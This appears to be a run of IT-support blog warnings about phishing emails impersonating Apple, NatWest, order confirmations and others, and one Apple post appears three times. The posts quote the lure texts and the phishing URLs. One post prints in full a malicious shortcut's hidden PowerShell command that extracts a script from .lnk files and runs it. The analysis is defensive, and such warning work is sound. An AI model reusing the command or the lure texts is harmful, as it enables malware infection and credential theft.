Your Email Domain Account Notification!! Spam

This email has been doing the rounds today:

 The 'verify' link actually points to: https://caravanecafe.ca/mikoko/Qupdate/index.php?email=name@domain.com&browser=unkonown&time=valid which has already been marked as deceptive by the big browsers:

The website itself:

Is fairly convincing looking and I will type them a nice message in the password field commending them on their good work and encouraging them to continue.

The password actually appears to do a lookup of some kind as it reports that it is wrong but perhaps they just want to get as many of your passwords as possible...?

Anyway, stay vigilant and safe!

We could not reset the password for your AppIe lD - Spam Warning

This rather weak spam email uses a PDF to try and hide it's dirty link to a fraudulent website.

The email itself:

Dear AppIe User.

We could not reset the password for your AppIe lD because there were too many failed attempts to answer your security questions.  

To read your secure message by opening the attachment(PDF).

You will be prompted to open(view)the file or save(download) it to your computer or device

For best results Save the file , then open it on a web browser.

Your account will be locked if we didn’t receive any response from you in more than twenty four hours

Sincerely,          

Apple Support  

Copyright © 2018 Apple Distribution International, Hollyhill Industrial Estate, Hollyhill, Cork, Ireland.

All rights reserved.

The Unlock Apple ID link points to:

http://applie-id.veriby.coolambo.ca which is sketchy at best. The website itself is already marked as deceptive by Google and Microsoft and so shouldn't be making too many lives more miserable.

The Apple site impersonation is somewhat more impressive:

And after you type in any email address and password to the unsecured site, it then presents you with:

in which they actually have the audacity to ask for a card number as security.

Hopefully no one will fall for this nonsense, and they will have wasted their time.

Stay vigilant!

We could not reset the password for your AppIe lD - Spam Warning

This rather weak spam email uses a PDF to try and hide it's dirty link to a fraudulent website.

The email itself:

Dear AppIe User.

We could not reset the password for your AppIe lD because there were too many failed attempts to answer your security questions.  

To read your secure message by opening the attachment(PDF).

You will be prompted to open(view)the file or save(download) it to your computer or device

For best results Save the file , then open it on a web browser.

Your account will be locked if we didn’t receive any response from you in more than twenty four hours

Sincerely,          

Apple Support  

Copyright © 2018 Apple Distribution International, Hollyhill Industrial Estate, Hollyhill, Cork, Ireland.

All rights reserved.

The Unlock Apple ID link points to:

http://applie-id.veriby.coolambo.ca which is sketchy at best. The website itself is already marked as deceptive by Google and Microsoft and so shouldn't be making too many lives more miserable.

The Apple site impersonation is somewhat more impressive:

And after you type in any email address and password to the unsecured site, it then presents you with:

in which they actually have the audacity to ask for a card number and bank account and sort code as security.

Hopefully no one will fall for this nonsense, and they will have wasted their time.

Stay vigilant!

We could not reset the password for your AppIe lD - Spam Warning

This rather weak spam email uses a PDF to try and hide it's dirty link to a fraudulent website.

The email itself:

Dear AppIe User.

We could not reset the password for your AppIe lD because there were too many failed attempts to answer your security questions.  

To read your secure message by opening the attachment(PDF).

You will be prompted to open(view)the file or save(download) it to your computer or device

For best results Save the file , then open it on a web browser.

Your account will be locked if we didn’t receive any response from you in more than twenty four hours

Sincerely,          

Apple Support  

Copyright © 2018 Apple Distribution International, Hollyhill Industrial Estate, Hollyhill, Cork, Ireland.

All rights reserved.

The Unlock Apple ID link points to:

http://applie-id.veriby.coolambo.ca which is sketchy at best. The website itself is already marked as deceptive by Google and Microsoft and so shouldn't be making too many lives more miserable.

The Apple site impersonation is somewhat more impressive:

And after you type in any email address and password to the unsecured site, it then presents you with:

in which they actually have the audacity to ask for a card number and bank account and sort code as security.

Hopefully no one will fall for this nonsense, and they will have wasted their time.

Stay vigilant!

Package(3VKN_270) confirmed: 8 items sent Spam Email

Watch out for this email:

Upgrade to a more secure banking - Natwest Spam Warning

This email is a typical example of phishing for banking details:

Upgrade to a more secure banking

 The email is quite well presented - the 'Can't see this email?' question at the top is a good example of how spammers use regulations to sidestep any susupicions we may have about the authenticity of an email.

If you click on the 'can't see this email?' link you are taken to: http://micato.co.uk/wp-admin/includes/036f707f904b5d1f9018d3085a975597/info/login.php?assets.adobedtm.com/5165c8c319825f6ec3fb78d0a8dcc1054ab35a3d/satelliteLib-08b84ffc82250dd93a29554e43774d72e7c1876b.js 

It is important to note in the above link the fact that the site is not secure (it begins http and not https) which is an instant and certain indicator that this is not a real banking site.

The site is already labelled by Google as deceptive:

And Microsoft Edge:

The site itself looks similar to Natwest:

But is obviously unsecured and way too slow for a real bank.

Report the originating email and the website as fraudulent and stay vigilant.

Spam Warning: Payment Message From MoneyGram Systems, Inc

This email has been spotted:

Spam Warning: Your Name, Pack(50RM_84248) confirmed: 7 items sent

This email has been assembled by sourcing information from your personal history online, in this example they have sourced an old telephone number from somewhere, probably sold to them by our local council.

From:                                                       Direct <theo-letran@glampiny.com>

Sent:                                                         Thursday, August 9, 2018 6:35 AM

To:                                                            Receipent

Subject:                                                   Your Name, Pack(50RM_84248) confirmed: 7 items sent

 

Order Acknowledgment Dear Your name, Your order is now confirmed. Thanks for shopping with us!   Billing Address: Your Name  Your Telephone Number Postcode  Your Order Reference: 50RM_84248 Order Date: 8/9/2018 Delivery Address: Your Name Your Telephone Number Postcode Your Order 50RM_84248 available here Your right to cancel: In addition to the EU and UK Distance Selling Regulations, we offer you 30 days to change your mind on any purchase. To cancel the order, please complete the enclosed returns slip and return the item(s) to us at the address that is on the returns slip. We recommend that you use a recorded delivery service. Please note that you are responsible for the costs of returning the items to us unless the goods delivered are incorrect or faulty. In this case, you will be credited for the cost of your return up to a reasonable amount. As soon as we receive your item(s) the returns procedure will be initiated and refunds will be processed.

 

 

The hyperlink 'Your Order 50RM_84248 available here' actually links to: https://kocobanana.com/.orderdetails/50RM_84248-confirmation which is presumably a genuine website as it has a certificate but it simply forwards you to: https://support.office.com/office-training-center?wt.mc_id=AID573689_QSG_184686 which is presumably not an association that Microsoft enjoy. 

The actual link downloads a zip file:

 

The contents of the zip file are as follows:

 

 

And when extracted, reveal:

 

 

The image just being a Google Pay image:

 

 

And the shortcut linking to:

 

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -exec bypass -wind hidden -c cd %USERPROFILE%\Documents; findstr /s fildunare ..\*.lnk > desktop.ps1;.\desktop.ps1;exit

 

As we can see, this is another Windows Powershell command but one which which we cannot make head or tail of - fildunare is not a term which any of us recognise, so any light anyone can shed would be most welcome.

Either way, it is attempting to find the string fildunare  with a .lnk extension in your documents and invokes desktop.ps1 which doesn't actually seem to be included with any version of Windows and so is a bit of a mystery.

 

Either way, make sure that .ps1 files are blocked inside of attachments, especially archive files, and this will not be an issue.

The originating email domain - glampiny.com - does not seem to be a website either so block that domain from your email server.

Spam Warning: You've received efax Notice

We have seen this email throughout this week:

Spam Warning: You received notification from DocuSign Signature Service 

You may see the following email, purportedly from DocuSign. We have seen it being captured by most spam guards but also getting through many on other occasions.